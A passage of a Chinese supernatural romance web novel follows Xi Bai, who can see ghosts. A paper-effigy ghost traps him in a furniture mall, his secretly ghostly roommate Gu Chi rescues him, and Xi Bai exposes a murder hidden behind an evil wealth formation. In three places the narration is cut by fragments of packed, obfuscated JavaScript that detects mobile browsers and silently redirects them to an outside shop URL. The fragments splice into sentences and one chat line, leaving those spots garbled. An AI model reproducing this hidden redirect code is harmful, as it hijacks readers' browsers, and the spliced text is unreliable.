然后在下一个店铺里,看到了被焚烧得更厉害,破破烂烂像是纸扎骨架的又一只纸人,以及更加冲鼻的,伴随着漫天飞舞的纸屑的浓重硝烟味。 就是在那一个瞬间,溪白才决定掉头回来的。 至少比起看见后面那种烧了一半的纸人,他更愿意看面前这个。 思绪回笼,溪白发现自己已经走到了店的深处。 指尖触碰到一片冰凉,他猛地转过头,发现自己碰到的是一面镜子时,稍稍松了口气。 但这口气还没彻底松下来,就伴随着再度高高悬起的心脏,又憋了回去。 镜子是斜放的,但溪白还是看见了镜子里的自己。 可他并没有看到自己身旁一步之遥的纸人,同时,他走进来的方向里,店铺的大门也已经被吞没在了浓雾之中。 求生的本能让他控制不住地想要回头确认一眼。 但横挡过来的一只纸胳膊,带着强势的气息拦住了他。 溪白目光顺着面前冷白色的纸手一路向上。 他看到了纸人脸上大大的冰冷微笑,和一双空洞洞的眼睛。 一副邀请客人进门的姿态。 却带着后退即死的无尽杀机。 余光所到之处皆是黑暗,溪白觉得自己也没有必要再回头确认了。 他身后不可能还会有退路。 走到那燃烧着的两盏红烛面前,溪白低头看去,就见香案桌上摆着许多物品。 但并非元宝香山,也不是瓜果花卉,而是数个样式各异的,由纸张扎成的小物件。 从床铺到书桌,从沙发到躺椅……皆是家具物什,其中几样,溪白在上楼的过程中看到过,就在家具城内。 目光在桌上与纸人之间来回逡巡,溪白最终慎而又慎地开口。 “是……让我选择吗?” 纸人的笑容更大了一些。 溪白盯着桌面上的纸雕塑看了一圈。 纸人在旁站着,虽然没有眼珠,但却依旧能清晰地感觉到那幽幽的注视。 不选,肯定是不可能的。 于是溪白斟酌了一下,最终伸手,选了一个最小的纸躺椅的雕塑。 拿起来后,溪白紧张地看向四周,环境并没有什么变化。 但正当他想要观察纸人的后续反应时,眼睛向上一瞟,就见那躺椅的椅背镂空处,用一根丝线挂着很小的一张纸片。 纸片上明显写着字。 溪白下意识地念了出来。 “纸扎躺椅一张。” “价格:一颗心脏。” 12. 第 12 章 价格,心脏。 这两个词摆在一起的时候,溪白都不用动脑去思考。 瞬间拉满的求生欲让他在第一时间转身就跑。 但比他动作更快的是风。 一阵透骨阴寒的风从身侧刮过,溪白抬起头时,就见来处的路上已经挂满了无数的雪白纸条。纸条随着阵阵阴风飘起又落下,似无数只失控的骨爪,在此地渴求着鲜活的血肉。 白纸高悬,可代替招魂幡,但无故招魂,必为邪术!* 咔咔咔咔…… 纸张的窸窣声悄无声息地就移动到了身后,直到可以听清楚时,已经贴近了耳畔。 溪白又闻到了一阵纸灰焚烧的气味。 背后的温度迅速上升,以至于产生刺痛的灼烫,和阴寒的冷风夹杂着让人寒毛直竖。 溪白转身时迅速撤开一步,就见刚刚还引路的那纸人,现如今已剧烈地燃烧起来,五官被燎得变形扭曲,雪白的纸片被点燃成刺目的橙红,又迅速变为灰白相间的颜色,随着风飘荡在黏腻的空气之中。 但这并不能阻止纸人伸长手朝溪白的心口抓来。 反而更加吓人了! 溪白也顾不得那些诡异地挂在半空中飘动的纸幡了。 逃命要紧啊! 纸人在身后紧追不舍,溪白在前面狂奔,但双方之间的距离在肉眼可见地迅速拉近。 溪白很快就发现,当他往前跑经过那些纸幡的时候,那些看似柔软的纸条都会轻轻地自他身上拂过一下,虽然没什么力道,但却能在不知不觉之间让他的脚步明显缓慢下来! 很快,纸人被烧得只剩一半的脸,就凑到了溪白的面前。 模样就像刚刚他在雾里看到的其他那几家店一样! 脚下被狠狠一绊,溪白打了个趔趄的同时,看到一根纸幡如同灵蛇一般从他刚刚经过的地方收了回去。 但也是这意外的一下,让他和纸人的距离彻底缩到了半只手臂以内。 白影掀起劲风,朝溪白的心口抓去,带着寒芒瞬间逼近了胸膛。 溪白站在原地。 他觉得自己的血在这一刻已经凉透了。 可在那白纸所化的尖锐指甲即将扎进心口的一瞬,就那么硬生生停了下来。 开始的时候溪白甚至以为时间凝固了,直到他垂在身侧的手指轻轻动弹了一下,他才发现一切并没有停止。 只是那纸人单纯地停了下来。 刺目的白光从身后亮起,像是白昼降临,轻而易举地抹去了四周如同永夜一般的阴霾。 沉稳而有节律的脚步声响起,在熟悉的松木冷香将身体笼罩之时,溪白心里控制不住地升起一个念头。 虽然感觉这样的桥段很土。 但现在的顾弛,在他眼里真的很帅。 ※ 四周的景、物、人都恢复如初。 溪白感觉自己的身体像是过电了一样,汗毛一阵倒竖之后,他缓缓地平静了下来。 他低头发现自己还站在原地,身后不远处,那店员小姐姐甚至还在笑眯眯地朝他这边招手。 手臂隐约传来不属于自己的温度,溪白低头的时候,看见了一只比自己要大两号的手掌,正拢着自己的手腕。 本就纤细的手在这般衬托下显得更加清瘦,顾弛的拇指恰好搭在凸起的腕骨处,溪白的感官很敏锐,他几乎能清楚地感受到顾弛指腹上带着的薄茧,随着不经意间的轻微移动,撩起一阵酥麻的痒意。 身体四周笼罩下一片阴影,溪白看见面前的男生转过身。 手腕被抓得似乎更紧了一些,紧贴着手臂内侧的掌心持续不断地传来灼烫的温度。 “你没事吧?” 顾弛好听的声音带着明显的关切,落入溪白泛红的耳朵里。 “溪白?” 又是一声轻唤,终于唤回了溪白的神智。 抬起头的瞬间,溪白也获知了真相。 四周看似没有其他的变化,而在溪白的眼里,却能看到一团黑色混着猩红的浓雾漂浮在半空之中。 雾气之中并非虚无一物,而是包裹着一个蜷缩着的身体。 像是被焚烧过后的纸人,但仔细一看,却又不似纸张那么薄那么脆弱,内里也并非空心的。 溪白脑海里闪过一个悚人,但却似乎是唯一的答案。 那是一个被活活烧死的灵魂。 那烧焦的鬼魂身后,细看可见一道幽暗的雾气链条缠绕,而链条的缕缕黑雾之中,隐约夹杂着淡淡的金光。 而黑金雾气的链条另一侧,正绑在顾弛的手上。 彼此对视了一阵,溪白看到顾弛眼神清澈而茫然地移开了目光,抬起头看着半空,带着大型犬一般的单纯。 溪白这下算是确定了。 顾弛八成不知道他自己的八字极阳,甚至连刚刚发生的事情都不知道。 就像之前在小吃街撞了他一下那次,今天顾弛拉住他的手,应该就是身上的阳气替自己驱散了这里的邪祟怨煞。 溪白垂在身侧的另一只手轻轻搓了搓指尖。 他忍不住心想:找到这样一个室友运气真是太好了! 而顾弛看着透过玻璃穹顶照进商场里的朦胧璨阳,眼尾余光悄悄往溪白那边扫去,又悄然收回。 抬手轻轻摸了摸高挺的鼻尖,顾弛心想:不就是抓了个小鬼,不至于这么激动吧? 连眼睛都变得亮晶晶的了。 好可爱。 不过既然溪白觉得他厉害,那顾弛也是不想否认的。 于是,在两人八竿子打不着的脑回路的彻底错峰下,溪白嘴角的笑容逐渐放大。 而一直在关注他视线变化的顾弛按捺着心底的小骄傲,默默地把脑袋仰得更高了一点。 ※ 观察了一下四周的环境,溪白看到了应急楼梯。 那边比较偏僻,没什么人出入,他也好跟那个鬼交谈一下。 但溪白担心这些妖魔鬼怪的吓到顾弛,于是他想了想,找了个借口道:“你四周看看?我去下洗手间。” 顾弛没说什么,只轻轻点头。 溪白则趁他不注意,伸手在顾弛手腕的上方轻轻拢了一下。 他八字极阴,不仅能肉眼看到幽灵鬼魂,而且能直接触碰和影响到阴气。 于是,在修长白皙的手指触碰到那雾气的一刻,底下的“雾线”带着顶上的雾团,好似一个气球一般,被溪白牵走了。 顾弛歪头。 不是去洗手间吗? 怎么把那纸人鬼带走了。 或许是他关注的目光太过灼烫,溪白很难不注意到。 担心顾弛跟上来,他又叮嘱了一句,还特意展露了一个很大的笑容。 “我很快回来,你在这儿等等我,或者四周找几家店看看都行。” 顾弛立刻就把那个在他眼里还不如一只蚂蚁的纸人鬼忘了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108166|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他看着边招手边走远的溪白,如黑琉璃一般的眼瞳里再装不下一点别的东西。 溪白笑起来真好看。 顾弛心想。 但当他回过神,望向带着纸人鬼离去的溪白的背影,又忍不住去思考。 为什么只带那个家伙,却不带自己呢? 顾弛突然有一种被抛下的感觉。 牵着那纸人鬼,溪白推开沉重的逃生门,拐进了应急通道。 应急通道里常年昏暗没什么人气,因此格外阴凉,溪白的反应不大,最多就是觉得有点凉爽,但那黑雾里的纸人鬼则明显恢复了不少元气。 刚刚在外面,太阳经过玻璃穹顶的折射透进来,强烈的日光是所有阴间生物所害怕和避让的。 溪白刚看了它一眼,就听见幽幽的声音响起。 「为什么不直接抹除我,明明是那样的存在……」 「难道这两个……家伙,也是来折磨我的吗?」 「求求了,给我个痛快吧,我不想再无尽地循环痛苦了。」 声线里带着绝望和痛苦,经由灵魂四散开来,更加让人感受深切。 “你怎么了?”溪白空口,试探着问了一句,“你说的循环痛苦,是什么意思?” 那纸人鬼在听到溪白的话后,明显顿了一下。 暗影一闪,纸人鬼朝溪白的方向冲了过去,但身体撞到黑雾边缘时,雾里本只有寥寥几缕的暗金色光芒突然大盛。 纸人鬼被金光弹了回去,身上的猩红煞气立刻黯淡了不少,还有隐隐消散之势。 可纸人鬼根本不在乎。 它一双空洞洞的眼眶直勾勾地对着溪白的方向。 溪白又一次听见了它的“声音”。 「你能听见我的话?」 溪白点头:“嗯,我能听见。” 「你…我……天呐!!!」 纸人鬼发出了无意义三连惊叹。 溪白看着突然激动起来的纸人鬼,凑近些许观察了一阵。 从开始碰面,他就觉得纸人鬼的五官模样非常奇怪,但具体在哪里也说不上。一开始溪白还以为是因为纸人鬼那双空洞洞的大眼眶让人觉得不协调和诡异。 直到刚刚纸人鬼又惊又喜的心声,让溪白终于发现了其中的端倪。 这只纸人鬼,脸上是没有画口的。 他看到的那个“唇”,是用朱砂描摹出来的唇形。 但纸人本身是没有“口”的。 而朱砂镇邪,以朱砂绘唇,无异于在纸人鬼的嘴上加了一层封印。 不论它有什么高兴、难过、愤怒、痛苦……在这道“锁”的封印下,都只能咽回心中。 年复一年,怨念滋生,自然会让这纸人鬼向厉鬼的方向发展。 “所以你身上究竟发生了什么,又为什么会在这?” 很快,溪白就从这只纸人鬼的“心声”里,获知了关于这家具城的一个可怕的秘密。 顾弛站在原地,百无聊赖地等待了一会儿。 偶尔等得不耐烦了,就回忆一下溪白刚刚的笑容。 直到人再一次出现在自己面前,顾弛还在想:怎么样才能让溪白再对着自己笑一笑呢? 余光所到之处,顾弛注意到溪白拿着手机,似乎刚挂断电话。 扫了一眼屏幕上的号码,顾弛看到了三个他无法理解的数字排列组合。 110? 这是干什么的? 13. 第 13 章 溪白报了警,伸手去拉好像还在发呆看自己的顾弛。 “走,我们先下去。” 顾弛感受着溪白身上传来的温度,步伐不快,但他的胸膛却开始了有些就剧烈的起伏。 “去哪?” 闻言,溪白回头,在头顶照下来朦胧而虚幻的阳光下,露出小半张精致好看的侧脸。 这一刻,在场的两只鬼不约而同地看到了溪白眼底,和身上各自闪过的一道金光。 身上闪过的是功德。 眼底闪过的,则是淡淡的锋芒。 “怎么说呢……” 溪白的唇角翘起一个小小的弧度,唇瓣微微抿着,让本身五官偏柔和亲切的他,在这一瞬间流露出了一种罕见的,带着小小谋算和狡猾的表情。 他唔了一声,连睫毛托着阳光的一双眼睛也弯了起来。 “先找点证据,准备抓人。” 两只鬼的眼睛在这一瞬间都睁大了。 纸人鬼开始本以为自己完蛋了,毕竟,虽然它看不出顾弛的来历,但这人出现时一下就破了它在家具城里设置的幻境,而且甚至没出手就轻而易举地将它给困住。 只是没想到峰回路转,它本想要害的人,却成了救它于水火的恩人。 此时的纸人鬼又忏悔又激动,心情激荡而感恩地看着溪白,恨不得流出两行血泪,再用流出来的血泪写一封长长的感谢信亲自送给溪白。 只能说幸亏溪白不知道它纸糊的脑子里在想什么。 而相比起来,顾弛的想法就简单多了: ——溪白,可爱! ——刚刚那个瞬间的溪白,更可爱! ——但110到底是什么? ※ 从手扶梯一层一层地往下,溪白回头道:“再给你添置点别的?” 顾弛淡淡嗯了一声。 溪白不仅给顾弛买了,还给自己又重新买了张电竞椅。 之前那张旧的太大了,顾弛坐着刚好,溪白打算送给他。 在给顾弛买床垫的时候,还发生了一件趣事。 因为床垫的尺寸比较特殊,一般的床都是2m的长度,而溪白给好大只的顾弛选的是2m2的床。 通常门店是没有这样尺寸的床垫的,即使有,也往往是积压存货,最终不得不甩卖清仓的下场。 正巧溪白进的这家店,就有一张恰好是1m2*2m2的床垫。 店主前两天还摆在门口2折甩卖,但放了两天无人问津,就又收回去了。 今天看到溪白来,他一眼就看见了旁边“好大只”的顾弛。 于是店家大喜过望,正准备开口忽悠“看二位亲切,给你们打个88折”、“老客户都知道我家标的实价,基本不打折”之类的话。 结果还没出声呢,就被溪白先声夺人。 “老板,你家摆了两天那个2折的床垫拿出来我们看下吧。” “就是那个一面鬃毛一面海绵的那个双面垫。” “那个xx牌的。” 家具城客流稀少,门店前每天走过多少人店主心里清清楚楚。一下被溪白说破,连那床垫的牌子、摆放的方向、贴折价标的位置都知道,店主下意识地就忘记假装了。 “你,你怎么知道?” 溪白看了一眼身旁的虚空。 他怎么知道? ——当然是听到的了。 纸人鬼常年被困在家具城的范围里,没事干就四处乱飘,当然最熟悉每家店铺的情况。 溪白突然想起进家具城时碰到的那两个店员,说什么最近下班早,因为家具城晚上不太平。想必是因为这几天纸人鬼怨煞横生,一到晚上就会控制不住闹出点动静。 不过,今后应该不会再有了。 被戳穿的店家老老实实地把床垫搬出来,按2折的价格给溪白开了单。 溪白又跑到各个店,买了台灯、桌面收纳柜。拿着各家店大大小小的订单联,不知不觉就到了3楼。 去收银台结账之前,溪白突然停下了脚步。 “帮我拿一下。”溪白把订单联塞到了顾弛的手里。 他心中牵挂着家具城的真相,没注意到此刻顾弛的表情。 从刚刚在买床垫的时候,顾弛就没怎么说话。 他的心情一直上上下下的。 他看得见纸人鬼,更看得见溪白和纸人鬼在“眉来眼去”,虽然二者不曾说话,但考虑到溪白的“读心”,二者之间必有交流。 顾弛还一直在想,刚刚溪白和纸人鬼突然离开,究竟是去做了什么? 那个110又是什么意思? 是什么神秘代码吗?听手底下说人间现已不同往日,爱人之间不过七夕,而是过另外的什么节日,好像也是三个数字。 难道就是这个什么110? ……溪白要和纸人鬼过110?! 那既然都是鬼,为何纸人鬼可以,他入梦那天,溪白却非常抵触? 顾弛下意识攥了一下手,但抓到的只有一手的薄薄的纸张。 那一点触碰即离的体温,就像是从没来过似的,如一根轻若无物的鸿羽,羽尖在心口轻轻挠了几下,留下一阵让人心脏悸动的痒意后,又仿佛什么也没做一般离去。 让人留恋、痴迷,又渴望,更生出几分怨。 再抬头看那背影时,顾弛不知道,他现在的表情,真的有点像委屈的大型犬了。 溪白对此浑然不知,他走近栏杆边,将家具城的各个方向和上上下下的角度都拍了照片,发给了庄算。 [White:小蒜头,帮我问问你哥,这个地方的风水怎么样] [神算子:???] [神算子:溪宝!你学坏了!!!] 溪白嘿嘿嘿坏笑。 [White:快点,急用的!] [White:回去请你喝奶茶!] 在一杯厚芝士双倍果肉多肉葡萄的促使下,庄算很快就带着庄术的回复过来了。 [术上骑个猴:图片不太清楚,但大致能确定是个运财的阵,但我看阳光的角度,此阵的朝向和格局五行更偏向火……可不是常规的阵法。你让溪白小同学看看,这栋建筑物的正中央是否有一个干涸的喷泉?] 溪白已经到了二楼,闻言从手扶梯侧面朝家具城正中方向看。 庄算刚刚给他和庄术拉了个群,溪白拍了张照片发过去。 [White:真的有诶!【图片】] [术上骑个猴:那就没错了,这个是邪财阵] 通常说:水能运财,但水运的往往是正财。正财往往来财比较辛苦,也比较慢,但胜在细水长流,生生不息;而偏财则来得快,但时间短。 有眼光的生意人往往会在家里、公司或店铺设正财为主,偏财为辅的局。 [术上骑个猴:即使是偏财为主也没什么,无非是赚快钱和赚慢钱的区别] 但世上从不乏心思偏移,想要走旁门左道的人。 [术上骑个猴: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108167|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将运财阵摆成五行属火的样子,水火相克,将会从正偏财变成横财] 一直在旁观的庄算突然冒头。 [神算子:横财?那不是一夜暴富!] [术上骑个猴:啧!怎么教你的,世间万物,阴阳相生,下一句是什么?] [神算子:噢!福祸相依] 正如庄术所说,逆五行的风水财阵的确能给人带来横财,但接踵而来的,必定是大祸临头。 [神算子:怪不得那家具城的生意近些年越来越差,原来是反噬了] [术上骑个猴:哪有那么简单,会用这种禁术阵法求财的人,怎么可能让自己吃亏遇险。逆天而行的邪阵,往往都要用人命去压!] 溪白的眼神向身旁扫去。 正如庄术说的,邪阵伤天害理,要用人命去压制反噬。 而那纸人鬼,其实就是这个邪阵的受害者,是这个五行属火的运财阵的“祭品”! 很快,接到电话的警察上门直接将家具城给查封。 而在受害者本鬼的指引下,溪白把家具城老板杀人埋尸的地点告知了警方,在一个小时左右的挖掘作业之后,尘封多年的尸骨终于重见天日。 铁证如山,家具城老板也无法抵赖,当场认罪。 溪白远远地还看到了一眼被警察押出来的人,看着形销骨立,黑眼圈快沉到脸颊底下了。 [术上骑个猴:布邪阵自然是要被反噬的,听你的形容,这老板估摸着也命不久矣] [术上骑个猴:那被当成祭品的冤魂什么情况,变成厉鬼了吗?给我发下地址,我把鬼收了,顺便去把阵破了] 溪白说不用,鬼已经被收服了。 一会儿他给黑白无常烧个信,让它俩把鬼收了。 [术上骑个猴:哟,不错啊溪白小同学,都能抓鬼了,比小蒜头天赋高多了] [神算子:???] [White:没有,我差点被那个鬼困住了,幸亏和顾弛在一起] [White:真的不愧是八字极阳,一下就把那纸人鬼的幻境破除了!] 溪白在群聊里大肆夸赞了一番,而手机另一边,庄术看了溪白说的话后,流露出几分疑惑。 黑金色雾气……各种关于八字极阳的记载里有这一项吗? 他起身出了房间,去找庄算。 “小蒜头。” 庄术推门,见庄算坐在飘窗上。 他进了弟弟的卧室坐下,拿过桌面上放着的猪肉脯,一边啃一边提出了自己的疑惑。 就是话说完,却没听见回答。 “小蒜头?” 庄术又叫了一声,这一次,庄算连反驳这个昵称的回应都没有了。 将嘴巴里的猪肉脯咽下去,庄术回头,发现庄算还保持着刚才的动作坐在原地,细观察,肩头似乎还一抖一抖的。 哭了? 就因为自己和溪白都叫他小蒜头? 庄术小心翼翼地凑过去,歪着身子倾身去观察。 就见庄算捧着手机坐在飘窗上,屏幕还保持着他们三个人的群聊界面。盯着几人刚刚的聊天内容,也不知道想到了什么,反正人没哭。 还在笑。 看一眼屏幕,再不知道想到了什么,笑得肩膀都抖一下。 一边抖,还一边小声地低声重复着一句话。 庄术凑近一点,听见庄算说的是: “好甜啊……” “嘿嘿!” 庄术:…? 14. 第 14 章 另一边的家具城里,溪白做完笔录出来,找了个角落偷偷把写好的黄纸状文烧了。 拍了拍手上的纸灰末,溪白找到了在外头等自己的顾弛。 “家具会在晚点送上门,我们先回学校吧。”溪白说。 顾弛语气很淡地哦了一声。 溪白将纸人鬼的经历转述给了顾弛。 纸人鬼本是一个刚毕业的男大学生,读的工商管理,属于万金油但不好找工作的一类,恰逢那一年就业市场不景气,他直到毕业前都还没抓住一个工作机会。 在毕业的前一周,一家公司突然给他发来面试邀请,纸人鬼大喜过望,更没想从面试到发录用意向书更是极为顺利。 他本以为自己转运了,却不想天上掉下来的不是馅饼,而是杀他的刀。 那家具城老板本身笃信风水到有些疯魔了,自己在家研究了许久什么运财阵、转运阵等等,最后竟然想走旁门左道,用邪阵发财。 逆向的运财阵属火,不能用水克,只能用金耗,用土泄。 而纸人鬼的八字就是金土命,所以被盯上了。 他先是高高兴兴地入职,但没工作多久,就被通知要派去边远城市出差。 结果出行半途被人打晕,等再醒来的时候,人已经被绑起来丢在了一个深坑里,身旁还有一个和他模样极其相似的,几乎1:1的纸扎人。 以纸为困,封其七窍,永不可逃。 最后刻在他灵魂与记忆深处的,是无尽的火光,与皮肉焚尽的痛苦。 怨憎会,则煞气生,纸人鬼的心态渐渐扭曲,成了恶鬼。 被压在阵里十几年,趁近日阵法的封印松动,他便逃了出来。 就是没等害人,便碰上了溪白,还有陪着溪白一起来的顾弛。 考虑到对方只是个不清楚自己身有“极阳八字”的“普通人”,为了防止吓到顾弛,溪白只挑选了纸人鬼生前的事情说。 溪白道:“只是可怜那个被害的男生了。” 顾弛听完,缓缓转过头,“你很在乎他吗?” 溪白:“什么?” “我听你说的话,你好像很在乎他。” 怎么感觉顾弛的语气好像很奇怪? 溪白眨了眨眼,刚想说什么,一句话从旁而来,打断了他们的对话。 “请问刚刚的案件,是您这边……” 溪白回头。 说话的是一个带着方框眼镜,扎高马尾的女记者,她旁边跟着位扛镜头的摄像。 溪白转过身,点了点头。 “呃,是我。” 女记者出示了一下自己的记者证。 “你好,我是北城卫视的新闻记者,刚刚收到了通知,请问一下您现在方便采访吗?” 溪白思考片刻,回头道:“你想去旁边等我吗?” 刚刚他看顾弛的情绪不太对的样子,好像又有点不高兴,所以便问了一句。 却不想顾弛只是把脸扭了扭。 “我就在这。” 溪白噢了一声,看记者:“那我们往旁边挪一些吧。” 顾弛好像不太想入镜的样子。 女记者自然说好。 几人换了个景位,天色已偏昏暗,于是便到了一棵树下,借着路灯的光,按部就班地开始采访。 而从始至终脚步不曾挪动一下的顾弛,此时正扭着脖子,眼睛眨也不眨。 盯着那边对镜头侃侃而谈的溪白,他心里一阵酸溜溜的。 作为一只鬼,顾弛的脑回路和溪白这个人类远不相同。 地府作为人死后魂归之地,每日踏过忘川河上的鬼魂何止千万之数,有哭的,有笑的,有无比平静的,也有极尽疯狂的…… 但这于地府鬼王而言,皆不重要。 因为数量太大了。 如果要为每一只鬼的生平高兴、伤感或是缅怀,那地府每日又哭又笑的,岂不成了精神病院? 因此,在溪白看来,自己对纸人鬼身死的感慨,只是出于人道主义关怀的一句叹惋。 但在顾弛眼里,却是把纸人鬼当成了千万只鬼中的“特殊存在”。 所以,今天在家具城发生的所有事情,都让顾弛觉得百思不得其解。 从他帮溪白驱散了纸人鬼的迷阵之后,在顾弛的视角里,溪白就变得有些奇怪。 比如嘴上说是去洗手间,但转头就把自己手里的纸人鬼顺走了。 而且还想和纸人鬼过那什么……110? 再加上刚才溪白还把纸人鬼的生平告诉了他,却又只说生前之事……溪白很关心纸人鬼的生前吗? 好像是的,顾弛心想,溪白刚刚还说那纸人鬼死的很可怜。 所以溪白真的很在乎那只纸人鬼? 为什么? 有他一只还不够吗?他们都住一起了! 如果此时,那边专心采访的溪白肯分神往自己身后看一眼,他八成会看到一只顶着柠檬头的酸溜溜大型犬。 但是他第一次被采访,还是因为这种杀人事件被采访,实在有些太过紧张。 以至于精神全部集中在理解和回答记者的问题上。 连四周不知何时缓缓席卷而起,且比往日更加浓后的阴气,都没留神注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108168|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾弛略微回神,他垂下眼,看着无声无息出现在自己面前的一黑一白两个身影。 “谢必安,范无赦见过鬼王大人。” 顾弛眼尾向后一扫,随即缓缓收回。 他轻轻嗯了一声,“起来吧。” 先开口的是谢必安。 “属下刚刚收到一则传讯,说此处有冤魂被困,不知是否是鬼王大人所留?” 谢必安伸出森白修长的手掌,掌心之上,是一张金灿灿的宣纸。 顾弛目光在纸上那以朱砂墨写的清秀字迹上扫过一轮,才淡声道:“不是我。” 谢必安和范无赦对视一眼,拱手。 “那边不叨扰大人了,我们先……” “等等。”顾弛开口打断,“我想问你们个问题。” “大人请讲。” 顾弛回身,看着跪在自己面前的一黑一白两道身影。 “你们两个行走人间……” “应该见过不少人类间的爱侣吧?” 谢必安&范无赦:? “……敢问大人的意思是?” ※ 另一边,溪白采访的差不多了,正想着结束。 目光扫到一旁的镜头时,他看见自己背后突然多了一个高大的身影。 原本镜头的正中央对准的是溪白的脸,但那个身影闯入镜头之后,能看到的只有一片宽阔的肩膀。 扛着镜头的摄像下意识地调整了对焦,将镜头往上移了一点。 等两人都重新入了镜,溪白突然觉得自己被对比成了一小只。 不对,是顾弛太大只了。 溪白以为顾弛等急了,刚想说已经采访完了。 但他突然感觉到四周的阵阵凉意,再往远处看,不知何时一圈阴气已将周围包裹。 而一黑一白两道身影,就站在黑雾一般的阴气之中,正看着他这边。 溪白:!! 糟了,差点把黑白无常忘了。 他话锋一转,按住顾弛。 “你也采访两句吧,我想起点别的事,先离开一下。” 跟记者点头示意,溪白又安抚似的按了按顾弛的肩,转身飞也似的跑了。 “那……我们开始?”记者看着顾弛,试探着问。 顾弛收回视线,嗯了一声。 采访很快开始,但顾弛一开始并没有听清记者说的是什么。 他满脑子都是溪白刚刚离开时的神情。 莫非谢必安和范无赦说的是真的? 溪白……真的不知道现在的他,也就是“顾弛”,其实是鬼? 15. 第 15 章 “两位今天来家具城,是买东西的吗?” “嗯。” “都买了些什么?” “床,床垫。” “哦哦!是新家吗?” 顾弛回神,看了一眼放在自己面前的话筒。 新家?他思索了一下,自己从原本的宿舍搬到了溪白的宿舍,对溪白来说不是新家,但对他来说,应该是。 于是顾弛点了点头。 “嗯,新家,我们是室友。” ※ 另一边,溪白钻进黑雾弥漫的小树林中,他先是躲藏在树后,气喘吁吁地扶着树干犹豫了一阵。 但看黑白无常似是转身要带着纸人鬼离去,他赶紧从躲藏处现身,上前一拱手。 “两位大人请留步。” 黑白无常的身形一僵,缓缓转过头。 谢必安和范无赦留下,本只是想偷偷躲起来吃瓜,看看能被鬼王大人青睐有加的活人究竟是什么样子。 却不想被溪白抓了个现行。 两无常紧张地对视一眼,谢必安缓缓张嘴。 “请问,有什么事?” 溪白刚欲说,就是一愣。 面前的黑白无常,与他先前所见似有不同。 白无常手里的哭丧棒要更长一些,布条也更多;黑无常的锁链更长,而且缭绕的黑雾与光泽更甚……溪白思考一阵,心中有了猜测。 “两位,莫非是谢、范两位大人?” 黑白无常一个哆嗦,这就被认出来了? 溪白不会去鬼王大人那里告状吧! 于是谢必安和范无赦赶紧回礼。 “正,正是……” 溪白一喜,果然没认错啊。 他看着谢必安和范无赦僵硬的动作,心说真不愧是最早的两位黑白无常,果真不一样!一看就死了很久,是老地府公务员了! “两位大人,在下有一事相求。”溪白把腰弯得更低。 谢必安和范无赦把腰弯得更更低:“不敢不敢,请讲。” 溪白起身,心说这俩无常还蛮客气。 他一开始并不想暴露自己的,毕竟人鬼殊途,阴阳两隔,他一直以来秉持着的都是少与无关的阴物接触的原则。 但今天的事情,他除了阴司无常,实在不知道能找谁了。 “是这样的两位大人,今天这个纸人鬼,是我帮的忙……” “还有过往很多次烧黄纸状文,给那些枉死的鬼魂伸冤,也是我做的。” 谢必安和范无赦对视一眼,虽然不知道溪白说这番话的原因,但还是跟着话头夸了一句:“小先生善心。” “谬赞。”溪白见谢必安态度客气,稍微有了几分把握。 于是,他开口道:“不知道两位是否可以帮我一个小忙,就当是投桃报李……我日后一定会多加帮忙。” 谢必安:“小先生请讲。” “不知两位手上可有生死簿?”溪白见有机会,立刻开口,“可否上生死簿替我查查,我剩下的寿元还有几年?” 谢必安呃了一声,有些犹豫。 范无赦在一旁,开口解释道:“不是我们不愿意帮你……只是生死簿隶属阴司,上面的内容绝不能泄露给凡人。” “这样啊。”溪白有些失落,但转念一想,他灵机一动,道,“那不说剩下几年,就说我还有没有得活,起码确认一下我是不是明天就得死,这样可以吗?” 谢必安和范无赦面面相觑。 “这……” “……好似听起来,并无不妥。” 于是两位无常当场召出生死簿,阴气席卷书页,一阵翻阅查证过后,谢必安将生死簿合上收起。 “还请小先生放心,您功德加身,无需担心。” 溪白笑了笑,“啊,哈哈,好,我明白了。” “那就多谢两位大人!”溪白又一拱手,“那我就不打扰两位办差了。” 黑白无常赶紧还礼。 溪白走了,谢必安和范无赦还在原地。 “诶老范。”谢必安碰了碰身旁范无赦的胳膊,它看着溪白渐行渐远的背影,“你觉不觉得,刚刚小先生走的时候眼神有些杀气?” 范无赦道:“随便呗,反正不是冲我们来的就行。” “刚刚真是吓死我了,我还以为他发现我们偷看,要去禀报大人了。” “快走吧,一会儿大人发现我们还在就麻烦了。” 一黑一白两道身影带着纸人鬼消失,四周围绕的阴雾也随之散去。 溪白迈着轻快的步伐往回走,嘴角噙着笑容,里头带着点不易发现的寒意。 果然啊,那鬼王是骗他的。 说什么他阳寿已尽,就是想骗他去成婚! 真是个色鬼! 而镜头前,正说话的顾弛突然觉得鼻子有些痒。 他扭开脸打了个喷嚏。 